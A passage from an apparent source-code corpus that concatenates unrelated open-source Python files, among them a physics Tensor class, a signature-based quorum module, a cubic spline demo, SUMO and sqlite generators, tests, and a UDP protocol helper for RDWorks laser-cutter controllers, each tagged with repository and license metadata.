viewport.split(',')]),fife.ExactModelCoordinate(0,0,0)) else: screen = self.engine.getRenderBackend() cam = self.engine.getView().addCamera(str(id), map.getLayer(str(ref_layer_id)),fife.Rect(0,0,screen.getScreenWidth(),screen.getScreenHeight()),fife.ExactModelCoordinate(0,0,0)) cam.setCellImageDimensions(int(ref_cell_width), int(ref_cell_height)) cam.setRotation(float(rotation)) cam.setTilt(float(tilt)) cam.setZoom(float(zoom)) except fife.Exception, e: print e.getMessage() if self.callback: i += 1 self.callback('loaded camera: ' + str(id), float( i / len(tmplist) * 0.25 + 0.75 ) )
orlandov/parpg-game
local_loaders/xmlmap.py
Python
gpl-3.0
13,207
# Copyright (C) 2012,2013 # Max Planck Institute for Polymer Research # Copyright (C) 2008,2009,2010,2011 # Max-Planck-Institute for Polymer Research & Fraunhofer SCAI # # This file is part of ESPResSo++. # # ESPResSo++ is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # ESPResSo++ is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. r""" ***************** espressopp.Tensor ***************** """ from _espressopp import Tensor __all__ = ['Tensor', 'toTensorFromVector', 'toTensor'] def extend_class(): # This injects additional methods into the Tensor class and pulls it # into this module origin_init = Tensor.__init__ def init(self, *args): if len(args) == 0: x = y = z = 0.0 elif len(args) == 1: arg0 = args[0] if isinstance(arg0, Tensor): xx = arg0.xx yy = arg0.yy zz = arg0.zz xy = arg0.xy xz = arg0.xz yz = arg0.yz # test whether the argument is iterable and has 3 elements elif hasattr(arg0, '__iter__') and len(arg0) == 6: xx, yy, zz, xy, xz, yz = arg0 elif isinstance(arg0, float) or isinstance(arg0, int): xx = yy = zz = xy = xz = yz = arg0 else: raise TypeError("Cannot initialize Tensor from %s" % (args)) elif len(args) == 6: xx, yy, zz, xy, xz, yz = args else: raise TypeError("Cannot initialize Tensor from %s" % (args)) origin_init(self, xx, yy, zz, xy, xz, yz) def _get_getter_setter(idx): def _get(self): return self[idx] def _set(self, v): self[idx] = v return _get, _set Tensor.__init__ = init Tensor.xx = property(*_get_getter_setter(0)) Tensor.yy = property(*_get_getter_setter(1)) Tensor.zz = property(*_get_getter_setter(2)) Tensor.__str__ = lambda self: str((self[0], self[1], self[2], self[3], self[4], self[5])) Tensor.__repr__ = lambda self: 'Tensor' + str(self) extend_class() def toTensorFromVector(*args): """Try to convert the arguments to a Tensor. This function will only convert to a Tensor if x, y and z are specified.""" if len(args) == 1: arg0 = args[0] if isinstance(arg0, Tensor): return arg0 elif hasattr(arg0, '__iter__') and len(arg0) == 3: return Tensor(*args) elif len(args) == 3: return Tensor(*args) raise TypeError("Specify x, y and z.") def toTensor(*args): """Try to convert the arguments to a Tensor, returns the argument, if it is already a Tensor.""" if len(args) == 1 and isinstance(args[0], Tensor): return args[0] else: return Tensor(*args)
espressopp/espressopp
src/Tensor.py
Python
gpl-3.0
3,339
''' This file is part of python-libdeje. python-libdeje is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. python-libdeje is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with python-libdeje. If not, see <http://www.gnu.org/licenses/>. ''' import datetime from persei import * from ejtp.identity import Identity DEFAULT_DURATION = datetime.timedelta(minutes = 5) class Quorum(object): def __init__(self, action, qs = None, signatures = {}): self.action = action self.qs = qs self.signatures = {} self.sent = False for identity in signatures: self.sign(identity, signatures[identity]) if qs: qs.register(self) @property def threshtype(self): return self.action.quorum_threshold_type def sig_valid(self, key): if key not in self.signatures: return False identity, signature = self.signatures[key] return (identity in self.participants) and validate_signature(identity, self.hash, signature) def sign(self, identity, signature = None, duration = DEFAULT_DURATION): if not signature: signature = generate_signature(identity, self.hash, duration) assert_valid_signature(identity, self.hash, signature) # Equivalent or updated signature or non-colliding read. # Don't check for collisions in QS if self.sig_valid(identity.key) or self.threshtype == "read": self.signatures[identity.key] = (identity, signature) return with self.qs.transaction(identity, self): self.signatures[identity.key] = (identity, signature) def clear(self): """ Clear out all signatures. """ self.signatures = {} def transmittable_sig(self, signer): return self.signatures[signer][1] def sigs_dict(self): sigs = {} for signer in self.valid_signatures: sigs[signer] = self.transmittable_sig(signer) return sigs def ready(self, document): return self.done and not self.action.is_done(document) # Parent-derived properties @property def version(self): return self.action.version @property def content(self): return self.action.serialize() # Handler-derived properties @property def completion(self): return len(self.valid_signatures) @property def competing(self): return not (self.done or self.outdated) @property def done(self): return self.completion >= self.threshold @property def outdated(self): # Version is not relevant for read requests if self.threshtype == 'read': return False else: return self.qs.version != self.version @property def participants(self): if not self.qs: raise ValueError("Cannot determine participants without QS") return self.qs.participants @property def thresholds(self): if not self.qs: raise ValueError("Cannot determine thresholds without QS") return self.qs.thresholds @property def threshold(self): if not self.qs: raise ValueError("Cannot determine threshold without QS") return self.thresholds[self.threshtype] @property def valid_signatures(self): return [ x for x in self.signatures if self.sig_valid(x) ] @property def hash(self): return self.action.hash() def validate_signature(identity, content_hash, signature): try: assert_valid_signature(identity, content_hash, signature) return True except: return False def assert_valid_signature(identity, content_hash, signature): if not isinstance(identity, Identity): raise TypeError("Expected ejtp.identity.core.Identity, got %r" % identity) try: expires, subsig = signature.split("\x00", 1) except: raise ValueError("Bad signature format - no nullbyte separator") expire_date = datetime.datetime.strptime(String(expires).export(), "%Y-%m-%d %H:%M:%S.%f") plaintext = expires + content_hash if not expire_date > datetime.datetime.utcnow(): raise ValueError("Signature is expired") if not identity.verify_signature(subsig, plaintext): raise ValueError("Identity object thinks sig is not valid") def generate_signature(identity, content_hash, duration = DEFAULT_DURATION): if not isinstance(identity, Identity): raise TypeError("Expected ejtp.identity.core.Identity, got %r" % identity) expires = RawData((datetime.datetime.utcnow() + duration).isoformat(' ')) return expires + RawData((0,)) + identity.sign(expires + content_hash)
campadrenalin/python-libdeje
deje/quorum.py
Python
gpl-3.0
5,211
# -*- coding: utf-8 -*- import os # a simple cubic spline example. # # generate some random data in 10 intervals -- note the data changes # each time this is run. # # Our form of the spline polynomial comes from Pang, Ch. 2 # # solve the matrix system for the splines # # plot the splines # # M. Zingale (2013-02-10) import numpy import pylab import math from tridiag import * # plot a spline def plot_spline(x0, x1, f0, f1, ppp0, ppp1): # lots of points for a smooth plot x = numpy.linspace(x0, x1, 100) dx = x1 - x0 alpha = ppp1 / (6.0 * dx) beta = -ppp0 / (6.0 * dx) gamma = (-ppp1 * dx * dx / 6.0 + f1) / dx eta = (ppp0 * dx * dx / 6.0 - f0) / dx p = alpha * (x - x0)**3 + beta * (x - x1)**3 + \ gamma * (x - x0) + eta * (x - x1) pylab.plot(x, p) # number of intervals n = 20 xmin = 0.0 xmax = 1.0 # coordinates of the data locations x = numpy.linspace(xmin, xmax, n + 1) dx = x[1] - x[0] # random data f = numpy.random.rand(n + 1) # we are solving for n-1 unknowns # setup the righthand side of our matrix equation b = numpy.zeros(n + 1) # b_i = (6/dx) * (f_{i-1} - 2 f_i + f_{i+1}) # here we do this with slice notation to fill the # inner n-1 slots of b b[1:n] = (6.0 / dx) * (f[0:n - 1] - 2.0 * f[1:n] + f[2:n + 1]) # we only care about the inner n-1 quantities b = b[1:n] # the matrix A is tridiagonal. Create 3 arrays which will represent # the diagonal (d), the upper diagonal (u), and the lower diagnonal # (l). l and u will have 1 less element. For u, we will pad this at # the beginning and for l we will pad at the end. u = numpy.zeros(n - 1) d = numpy.zeros(n - 1) l = numpy.zeros(n - 1) d[:] = 4.0 * dx u[:] = dx u[0] = 0.0 l[:] = dx l[n - 2] = 0.0 # use our own tridiagonal solver xsol = tridiag(l, d, u, b) # check that our tridiagonal solver works by doing Ax = b and comparing # to the original b print("original b:\n", b) print("computed Ax:\n", triMultAx(l, d, u, xsol)) # x now hold all the second derivatives for points 1 to n-1. Natural # boundary conditions set p'' = 0 at i = 0 and n # ppp will be our array of second derivatives ppp = numpy.insert(xsol, 0, 0) # insert before the first element ppp = numpy.insert(ppp, n, 0) # insert at the end # now plot -- data points first pylab.scatter(x, f, marker="x", color="r") # plot the splines i = 0 while i < n: # working on interval [i,i+1] ppp_i = ppp[i] ppp_ip1 = ppp[i + 1] f_i = f[i] f_ip1 = f[i + 1] x_i = x[i] x_ip1 = x[i + 1] plot_spline(x_i, x_ip1, f_i, f_ip1, ppp_i, ppp_ip1) i += 1 pylab.savefig("spline.png") # note: we could have done this all through scipy -- here is their # spline, but it doesn't seem to support natural boundary conditions #s = interpolate.InterpolatedUnivariateSpline(x, f, k=3) #xx = numpy.linspace(xmin, xmax, 1000) #pylab.plot(xx, s(xx), color="k", ls=":") # old way from scipy -- this raises a NotImplementedError for natural #spl1 = interpolate.splmake(x, f, order=3, kind="natural") #xx = numpy.linspace(xmin, xmax, 1000) #yy = interpolate.spleval(spl1, xx) #pylab.plot(xx, yy, color="k", ls=":") # pylab.savefig("spline-scipy.png") os.system("pause")
NicovincX2/Python-3.5
Analyse (mathématiques)/Analyse numérique/Interpolation numérique/Spline/Spline cubique d'Hermite/cubic_spline_tri.py
Python
gpl-3.0
3,203
""" @file sumoConfigGen.py @author Craig Rafter @date 29/01/2016 Code to generate a config file for a SUMO model. """ def sumoConfigGen(modelname='simpleT', configFile='./models/simpleT.sumocfg', exportPath='../', AVratio=0, stepSize=0.01, run=0, port=8813): configXML = open(configFile, 'w') print >> configXML, """<configuration> <input> <net-file value="{model}.net.xml"/> <route-files value="{model}.rou.xml"/> <gui-settings-file value="gui-settings.cfg"/> <game value="1"/> <start value="1"/> <!--additional-files value="{model}.det.xml"/--> </input> <output> <!--<summary-output value="{expPath}summary{AVR:03d}_{Nrun:03d}.xml"/>--> <!--tripinfo-output value="{expPath}tripinfo{AVR:03d}_{Nrun:03d}.xml"/--> <!--<vehroute-output value="{expPath}vehroute{AVR:03d}_{Nrun:03d}.xml"/--> <!--queue-output value="{expPath}queuedata{AVR:03d}_{Nrun:03d}.xml"/--> </output> <time> <begin value="0"/> <step-length value="{stepSz}"/> </time> <processing> <!--TURN OFF TELEPORTING--> <time-to-teleport value="-1"/> </processing> <report> <no-step-log value="true"/> <error-log value="logfile.txt"/> </report> <traci_server> <remote-port value="{SUMOport}"/> </traci_server>""".format(model=modelname, expPath=exportPath, AVR=int(AVratio*100), stepSz=stepSize, Nrun=run, SUMOport=port) print >> configXML, "</configuration>" configXML.close()
cbrafter/CrowdTLL
generalCode/sumoConfigGen.py
Python
gpl-3.0
1,642
#!/usr/bin/env python3 import sys import os import re useful_codes = [] with open(sys.argv[1]) as f: for l in f.readlines(): useful_codes.append(l.rstrip()) # Read from sqlite3.h (from stdin) # only codes that exist in useful_codes are included in consts.c for line in sys.stdin.readlines(): # fields = [ "#define", "SQLITE_XXXX" "YYYY" ]; fields = re.split("\s+", line.rstrip(), 3) #print("{0}".format(fields[1])) if not fields[1] in useful_codes: #print("{0} excluded".format(fields[1])) continue sym = re.sub("_", "-", fields[1].lower()) if len(fields) > 2 and fields[2] != "": print("#ifdef {0}".format(fields[1])) if fields[2].startswith('"'): print('defconst(env, "{0}", env->make_string(env, {1}, strlen({1})));'.format(sym, fields[1])) else: print('defconst(env, "{0}", env->make_integer(env, {1}));'.format(sym, fields[1])) print("#endif")
pekingduck/emacs-sqlite3-api
tools/gen-consts.py
Python
gpl-3.0
908
class WeightSensor: weight = 0 #weight in grams def __init__(self): self.weight = 0 def getWeight(self): if(self.weight < 700): self.weight = self.weight + 5 return self.weight
SYSC-3010-F5/AVA-SH
src/coffee-maker/WeightStub.py
Python
gpl-3.0
274
# coding=utf-8 """ General database interfacing abstractions. """
bigbangdev/cityhelpdeskdjango
cityhelpdesk/utility/db/__init__.py
Python
gpl-3.0
66
# -*- coding: utf-8 -*- # django-po2xls # tests/management/commands/test_po-to-xls.py import os import pathlib from typing import List from importlib import import_module from django.test import TestCase # po-to-xls management command imported on the fly # because we can't import something from the module that contains "-" Command = import_module("po2xls.management.commands.po-to-xls").Command # type: ignore __all__: List[str] = ["CommandTest"] class CommandTest(TestCase): """po-to-xls management command tests.""" @classmethod def tearDownClass(cls) -> None: """Tear down.""" os.remove("po2xls/locale/uk/LC_MESSAGES/django.xls") os.remove("po2xls/locale/en/LC_MESSAGES/django.xls") super().tearDownClass() def test_convert(self) -> None: """convert method must write converted data to .xls files for chosen locale.""" # noqa: D403,E501 Command().convert(locale="uk") self.assertTrue( expr=pathlib.Path("po2xls/locale/uk/LC_MESSAGES/django.xls").exists() ) def test_convert__all(self) -> None: """convert method must write converted data to .xls files for all locales.""" # noqa: D403,E501 Command().handle() self.assertTrue( expr=pathlib.Path("po2xls/locale/en/LC_MESSAGES/django.xls").exists() ) self.assertTrue( expr=pathlib.Path("po2xls/locale/uk/LC_MESSAGES/django.xls").exists() )
vint21h/django-po2xls
tests/management/commands/test_po-to-xls.py
Python
gpl-3.0
1,479
#! /usr/bin/python3 # -*- coding:utf-8 -*- """ Define the "status" sub-command. """ from lib.transaction import * from lib.color import color import sys import yaml def status(conf, args): """Print staging transactions. """ if not conf: # The account book is not inited print("There is no account book here.", end=' ') print("Create one with: picsou init.") sys.exit() # Print basic information print(color.BOLD + "%s" % conf['name'] + color.END) if conf['description'] != '.': print(color.ITALIC + " (%s)" % conf['description'] + color.END) # Try to open and load the staging file try: with open("picsou.stage", 'r') as f: stage = yaml.load(f) except IOError: print("Nothing to commit.") sys.exit() if stage: if len(stage) == 1: print("A transaction is waiting to be comited.") else: print("Some transactions are waiting to be comited.") # List transactions to be commited transactions = \ [transaction._make(map(t.get, transaction._fields)) for t in stage] # Print those transactions print() printTransactions(transactions) else: print("Nothing to commit.") sys.exit()
a2ohm/picsou
sub/status.py
Python
gpl-3.0
1,333
# encoding: utf-8 import socket import sys reload(sys) sys.setdefaultencoding('utf8') class RDLaser(object): BUF_SIZE = 4096 CLIENT_PORT = 40200 SERVER_PORT = 50200 CMD_STOP = "d801".decode("HEX") CMD_PAUSE_CONTINUE = "d803".decode("HEX") CMD_HOME_XY = "d9100000000000000000000000".decode("HEX") #goto abs coord (0|0) CMD_HOME_Z = "d82c".decode("HEX") CMD_HOME_U = "de25".decode("HEX") CMD_FOCUS = "dea5".decode("HEX") HANDSHAKE = "da00057e".decode("HEX") STATUS = "da000004".decode("HEX") CFG_X_SETTINGS = "da000020".decode("HEX") #binary CFG_X_STEP_LENGTH = "da000021".decode("HEX") #picometer CFG_X_MAX_SPEED = "da000023".decode("HEX") #nanometer/s CFG_X_JUMPOFF_SPEED = "da000024".decode("HEX") #nanometer/s CFG_X_MAX_ACC = "da000025".decode("HEX") #nanometer/s^2 CFG_X_BREADTH = "da000026".decode("HEX") #nanometer CFG_X_KEY_JUMPOFF_SPEED = "da000027".decode("HEX") #nanometer/s CFG_X_KEY_ACC = "da000028".decode("HEX") #nanometer/s^2 CFG_X_ESTOP_ACC = "da000029".decode("HEX") #nanometer/s^2 CFG_X_HOME_OFFSET = "da00002a".decode("HEX") #nanometer CFG_X_SETTINGS = "da000030".decode("HEX") #binary CFG_Y_STEP_LENGTH = "da000031".decode("HEX") #picometer CFG_Y_MAX_SPEED = "da000033".decode("HEX") #nanometer/s CFG_Y_JUMPOFF_SPEED = "da000034".decode("HEX") #nanometer/s CFG_Y_MAX_ACC = "da000035".decode("HEX") #nanometer/s^2 CFG_Y_BREADTH = "da000036".decode("HEX") #nanometer CFG_Y_KEY_JUMPOFF_SPEED = "da000037".decode("HEX") #nanometer/s CFG_Y_KEY_ACC = "da000038".decode("HEX") #nanometer/s^2 CFG_Y_ESTOP_ACC = "da000039".decode("HEX") #nanometer/s^2 CFG_Y_HOME_OFFSET = "da00003a".decode("HEX") #nanometer CFG_Z_SETTINGS = "da000040".decode("HEX") #binary CFG_Z_STEP_LENGTH = "da000041".decode("HEX") #picometer CFG_Z_MAX_SPEED = "da000043".decode("HEX") #nanometer/s CFG_Z_JUMPOFF_SPEED = "da000044".decode("HEX") #nanometer/s CFG_Z_MAX_ACC = "da000045".decode("HEX") #nanometer/s^2 CFG_Z_BREADTH = "da000046".decode("HEX") #nanometer CFG_Z_KEY_JUMPOFF_SPEED = "da000047".decode("HEX") #nanometer/s CFG_Z_KEY_ACC = "da000048".decode("HEX") #nanometer/s^2 CFG_Z_ESTOP_ACC = "da000049".decode("HEX") #nanometer/s^2 CFG_Z_HOME_OFFSET = "da00004a".decode("HEX") #nanometer CFG_U_SETTINGS = "da000050".decode("HEX") #binary CFG_U_STEP_LENGTH = "da000051".decode("HEX") #picometer CFG_U_MAX_SPEED = "da000053".decode("HEX") #nanometer/s CFG_U_JUMPOFF_SPEED = "da000054".decode("HEX") #nanometer/s CFG_U_MAX_ACC = "da000055".decode("HEX") #nanometer/s^2 CFG_U_BREADTH = "da000056".decode("HEX") #nanometer CFG_U_KEY_JUMPOFF_SPEED = "da000057".decode("HEX") #nanometer/s CFG_U_KEY_ACC = "da000058".decode("HEX") #nanometer/s^2 CFG_U_ESTOP_ACC = "da000059".decode("HEX") #nanometer/s^2 CFG_U_HOME_OFFSET = "da00005a".decode("HEX") #nanometer CFG_LASER12_TYPE = "da000010".decode("HEX") #binary # glass/RF/RF+preignition CFG_LASER34 = "da000226".decode("HEX") #binary CFG_LASER1_FREQUENCE = "da000011".decode("HEX") #Hz CFG_LASER1_POWER_MIN = "da000012".decode("HEX") #percent CFG_LASER1_POWER_MAX = "da000013".decode("HEX") #percent CFG_LASER1_PREIG_FREQ = "da00001a".decode("HEX") #Hz CFG_LASER1_PREIG_PULSE = "da00001b".decode("HEX") #1/10 percent CFG_LASER2_FREQUENCE = "da000017".decode("HEX") #Hz CFG_LASER2_POWER_MIN = "da000018".decode("HEX") #percent CFG_LASER2_POWER_MAX = "da000019".decode("HEX") #percent CFG_LASER2_PREIG_FREQ = "da00001c".decode("HEX") #Hz CFG_LASER2_PREIG_PULSE = "da00001d".decode("HEX") #1/10 percent CFG_LASER3_POWER_MIN = "da000063".decode("HEX") #percent CFG_LASER3_POWER_MAX = "da000064".decode("HEX") #percent CFG_LASER3_FREQUENCE = "da000065".decode("HEX") #Hz CFG_LASER3_PREIG_FREQ = "da000066".decode("HEX") #Hz CFG_LASER3_PREIG_PULSE = "da000067".decode("HEX") #1/10 percent CFG_LASER4_POWER_MIN = "da000068".decode("HEX") #percent CFG_LASER4_POWER_MAX = "da000069".decode("HEX") #percent CFG_LASER4_FREQUENCE = "da00006a".decode("HEX") #Hz CFG_LASER4_PREIG_FREQ = "da00006b".decode("HEX") #Hz CFG_LASER4_PREIG_PULSE = "da00006c".decode("HEX") #1/10 percent CFG_LASER_ATTENUATION = "da000016".decode("HEX") #1/10 percent CFG_HEAD_DISTANCE = "da00001e".decode("HEX") #nanometer CFG_ENABLE_AUTOLAYOUT = "da000004".decode("HEX") #binary #02cfd48989e9 CFG_FEED_TRANSMISSION = "da000200".decode("HEX") #binary CFG_BROKEN_DELAY = "da00020d".decode("HEX") #milliseconds LASER_STATE = "da000400".decode("HEX") TOTAL_ON_TIME = "da000401".decode("HEX") #seconds TOTAL_PROCESSING_TIME = "da000402".decode("HEX") #seconds TOTAL_TRAVEL_X = "da000423".decode("HEX") #meters TOTAL_TRAVEL_Y = "da000433".decode("HEX") #meters TOTAL_PROCESSING_TIMES = "da000403".decode("HEX") #count TOTAL_LASER_ON_TIME = "da000411".decode("HEX") #seconds PREVIOUS_PROCESSING_TIME = "da00048f".decode("HEX") #milliseconds PREVIOUS_WORK_TIME = "da000408".decode("HEX") #milliseconds MAINBOARD_VERSION = "da00057f".decode("HEX") #string POSITION_AXIS_X = "da000421".decode("HEX") #nanometer POSITION_AXIS_Y = "da000431".decode("HEX") #nanometer POSITION_AXIS_Z = "da000441".decode("HEX") #nanometer POSITION_AXIS_U = "da000451".decode("HEX") #nanometer # thanks to http://stefan.schuermans.info/rdcam/scrambling.html MAGIC = 0x88 values = { STATUS : 0, CFG_X_SETTINGS : 0, CFG_X_STEP_LENGTH : 0, CFG_X_MAX_SPEED : 0, CFG_X_JUMPOFF_SPEED : 0, CFG_X_MAX_ACC : 0, CFG_X_BREADTH : 0, CFG_X_KEY_JUMPOFF_SPEED : 0, CFG_X_KEY_ACC : 0, CFG_X_ESTOP_ACC : 0, CFG_X_HOME_OFFSET : 0, CFG_X_SETTINGS : 0, CFG_Y_STEP_LENGTH : 0, CFG_Y_MAX_SPEED : 0, CFG_Y_JUMPOFF_SPEED : 0, CFG_Y_MAX_ACC : 0, CFG_Y_BREADTH : 0, CFG_Y_KEY_JUMPOFF_SPEED : 0, CFG_Y_KEY_ACC : 0, CFG_Y_ESTOP_ACC : 0, CFG_Y_HOME_OFFSET : 0, CFG_Z_SETTINGS : 0, CFG_Z_STEP_LENGTH : 0, CFG_Z_MAX_SPEED : 0, CFG_Z_JUMPOFF_SPEED : 0, CFG_Z_MAX_ACC : 0, CFG_Z_BREADTH : 0, CFG_Z_KEY_JUMPOFF_SPEED : 0, CFG_Z_KEY_ACC : 0, CFG_Z_ESTOP_ACC : 0, CFG_Z_HOME_OFFSET : 0, CFG_U_SETTINGS : 0, CFG_U_STEP_LENGTH : 0, CFG_U_MAX_SPEED : 0, CFG_U_JUMPOFF_SPEED : 0, CFG_U_MAX_ACC : 0, CFG_U_BREADTH : 0, CFG_U_KEY_JUMPOFF_SPEED : 0, CFG_U_KEY_ACC : 0, CFG_U_ESTOP_ACC : 0, CFG_U_HOME_OFFSET : 0, CFG_LASER12_TYPE : 0, CFG_LASER34 : 0, CFG_LASER1_FREQUENCE : 0, CFG_LASER1_POWER_MIN : 0, CFG_LASER1_POWER_MAX : 0, CFG_LASER1_PREIG_FREQ : 0, CFG_LASER1_PREIG_PULSE : 0, CFG_LASER2_FREQUENCE : 0, CFG_LASER2_POWER_MIN : 0, CFG_LASER2_POWER_MAX : 0, CFG_LASER2_PREIG_FREQ : 0, CFG_LASER2_PREIG_PULSE : 0, CFG_LASER3_POWER_MIN : 0, CFG_LASER3_POWER_MAX : 0, CFG_LASER3_FREQUENCE : 0, CFG_LASER3_PREIG_FREQ : 0, CFG_LASER3_PREIG_PULSE : 0, CFG_LASER4_POWER_MIN : 0, CFG_LASER4_POWER_MAX : 0, CFG_LASER4_FREQUENCE : 0, CFG_LASER4_PREIG_FREQ : 0, CFG_LASER4_PREIG_PULSE : 0, CFG_LASER_ATTENUATION : 0, CFG_HEAD_DISTANCE : 0, CFG_ENABLE_AUTOLAYOUT : 0, CFG_FEED_TRANSMISSION : 0, CFG_BROKEN_DELAY : 0, LASER_STATE : 0, TOTAL_ON_TIME : 0, TOTAL_PROCESSING_TIME : 0, TOTAL_TRAVEL_X : 0, TOTAL_TRAVEL_Y : 0, TOTAL_PROCESSING_TIMES : 0, TOTAL_LASER_ON_TIME : 0, PREVIOUS_PROCESSING_TIME : 0, PREVIOUS_WORK_TIME : 0, MAINBOARD_VERSION : "RDLaser.py 1.0 by sndstrm", POSITION_AXIS_X : 0, POSITION_AXIS_Y : 0, POSITION_AXIS_Z : 0, POSITION_AXIS_U : 0 } __server__ = None __client__ = None ''' Generates checksum. Params: s Scrambled string ''' @staticmethod def checksum(s): cs = 0 for i in range(0, len(s)): cs += ord(s[i]) return chr((cs >> 8) & 0xFF) + chr(cs & 0xFF) + s ''' Scrambles plain char Params: p Char to scramble ''' @staticmethod def scramble(p): a = (p & 0x7E) | ((p >> 7) & 0x01) | ((p << 7) & 0x80) b = a ^ RDLaser.MAGIC s = (b + 1) & 0xFF return s ''' Scrambles plain string Params: string String to scramble ''' @staticmethod def scramblestr(string): s = "" for c in string: s += chr(RDLaser.scramble(ord(c))) return s ''' Descrambles scrambled char Params: s Char to descramble ''' @staticmethod def descramble(s): a = (s + 0xFF) & 0xFF b = a ^ RDLaser.MAGIC p = (b & 0x7E) | ((b >> 7) & 0x01) | ((b << 7) & 0x80) return p ''' Descrambles scrambled string Params: string String to descramble ''' @staticmethod def descramblestr(string): p = "" for c in string: p += chr(RDLaser.descramble(ord(c))) return p # transmitted as 7-bit, 0x80 is reserved (but would be semi-valid here too) @staticmethod def fromNumber(n, bytes=5): s = "" for i in range(-bytes+1, 1): s += chr((n >> (-7 * i)) & 0x7F) return s @staticmethod def toNumber(s, chars=5): n = 0 for i in range(-chars, 0): n |= ord(s[i]) << (-7 * (i+1)) return n # Just allow one instance of server @staticmethod def getServer(): if RDLaser.__server__ == None: RDLaser.__server__ = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) RDLaser.__server__.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) RDLaser.__server__.bind(('', RDLaser.SERVER_PORT)) return RDLaser.__server__ # Just allow one instance of client @staticmethod def getClient(): if RDLaser.__client__ == None: RDLaser.__client__ = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) RDLaser.__client__.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) RDLaser.__client__.bind(('', RDLaser.CLIENT_PORT)) RDLaser.__client__.settimeout(1) return RDLaser.__client__ @staticmethod def disconnectServer(): if RDLaser.__server__ == None: return RDLaser.__server__.close() RDLaser.__server__ = None @staticmethod def disconnectClient(): if RDLaser.__client__ == None: return RDLaser.__client__.close() RDLaser.__client__ = None
soundstorm/RDWorksFileserver
RDWorks/RDLaser.py
Python
gpl-3.0
10,961
# -*- coding: utf-8 -*- import unittest from pathlib import Path from .. import persons from .asteriskfake import AsteriskFake class AsteriskFake_Test(unittest.TestCase): from yamlns.testutils import assertNsEqual def setUp(self): self.persons = Path('p.yaml') self.persons.write_text(u"""\ extensions: alice: '200' bob: '202' carol: '204' diana: '400' eva: '402' fanny: '404' """) ps = persons.persons(self.persons) self.a = self.setupPbx() def tearDown(self): self.tearDownPbx() persons.persons(False) # reset self.persons.unlink() def setupPbx(self): return AsteriskFake() def tearDownPbx(self): pass def fixture(self): return self.a def assertNames(self, result, expected): self.assertEqual([ member.key for member in result ], expected) def assertPaused(self, result, expected): self.assertEqual([ (member.key, member.paused) for member in result ], expected) def assertExtensions(self, result, expected): self.assertEqual([ (member.key, member.extension) for member in result ], expected) def test_setQueue(self): a = self.fixture() a.setQueue('aqueue',['alice', 'carol', 'bob' ]) self.assertNames(a.queue('aqueue'), [ 'alice', 'carol', 'bob', ]) def test_queue_extensions(self): a = self.fixture() a.setQueue('aqueue',['alice', 'carol', 'bob' ]) self.assertExtensions(a.queue('aqueue'), [ ('alice', '200'), ('carol', '204'), ('bob', '202'), ]) def test_setQueue_ignoresOutsiders(self): a = self.fixture() a.setQueue('aqueue',['alice', 'carol', 'intruder' ]) self.assertNames(a.queue('aqueue'), [ 'alice', 'carol', ]) def test_setQueue_overwrites(self): a = self.fixture() a.setQueue('aqueue',['alice']) a.setQueue('aqueue',['carol', 'bob' ]) self.assertNames(a.queue('aqueue'), [ 'carol', 'bob', ]) def test_setQueue_emptyClears(self): a = self.fixture() a.setQueue('aqueue',['alice', 'carol', 'bob' ]) a.setQueue('aqueue',[]) self.assertNames(a.queue('aqueue'), [ ]) def test_add(self): a = self.fixture() a.setQueue('aqueue',['alice', 'carol']) a.add('aqueue', 'diana') self.assertNames(a.queue('aqueue'), [ 'alice', 'carol', 'diana', ]) def test_add_ignoresIntruder(self): a = self.fixture() a.setQueue('aqueue',['alice', 'carol']) a.add('aqueue', 'intruder') self.assertNames(a.queue('aqueue'), [ 'alice', 'carol', ]) def test_pause_defaultFalse(self): a = self.fixture() a.setQueue('aqueue',['alice', 'carol', 'bob' ]) self.assertPaused(a.queue('aqueue'), [ ('alice', False), ('carol', False), ('bob', False), ]) def test_pause_anActiveMember(self): a = self.fixture() a.setQueue('aqueue',['alice', 'carol', 'bob' ]) a.pause('aqueue','carol') self.assertPaused(a.queue('aqueue'), [ ('alice', False), ('carol', True), ('bob', False), ]) def test_pause_notInQueue_ignored(self): a = self.fixture() a.setQueue('aqueue',['alice', 'carol' ]) a.pause('aqueue','bob') self.assertPaused(a.queue('aqueue'), [ ('alice', False), ('carol', False), ]) def test_pause_intruder_ignored(self): a = self.fixture() a.setQueue('aqueue',['alice', 'carol', 'bob' ]) a.pause('aqueue','intruder') self.assertPaused(a.queue('aqueue'), [ ('alice', False), ('carol', False), ('bob', False), ]) def test_resume(self): a = self.fixture() a.setQueue('aqueue',['alice', 'carol', 'bob' ]) a.pause('aqueue','carol') a.resume('aqueue','carol') self.assertPaused(a.queue('aqueue'), [ ('alice', False), ('carol', False), ('bob', False), ]) def test_setQueue_leavesOtherQueuesAlone(self): a = self.fixture() a.setQueue('aqueue',['alice', 'carol', 'bob' ]) a.setQueue('otherqueue',['diana', 'fanny', 'eva' ]) self.assertNames(a.queue('aqueue'), [ 'alice', 'carol', 'bob', ]) def test_pause_leavesOtherQueuesAlone(self): a = self.fixture() a.setQueue('aqueue',['alice']) a.setQueue('otherqueue',['alice' ]) a.pause('otherqueue', 'alice') self.assertPaused(a.queue('aqueue'), [ ('alice', False), ]) self.assertPaused(a.queue('otherqueue'), [ ('alice', True), ]) def test_resume_leavesOtherQueuesAlone(self): a = self.fixture() a.setQueue('aqueue',['alice']) a.setQueue('otherqueue',['alice' ]) a.pause('aqueue', 'alice') a.pause('otherqueue', 'alice') a.resume('otherqueue', 'alice') self.assertPaused(a.queue('aqueue'), [ ('alice', True), ]) self.assertPaused(a.queue('otherqueue'), [ ('alice', False), ]) # Extensions def test_extensions_empty(self): a = self.fixture() self.assertEqual(a.extensions(), [ ]) def test_extensions_withOne(self): a = 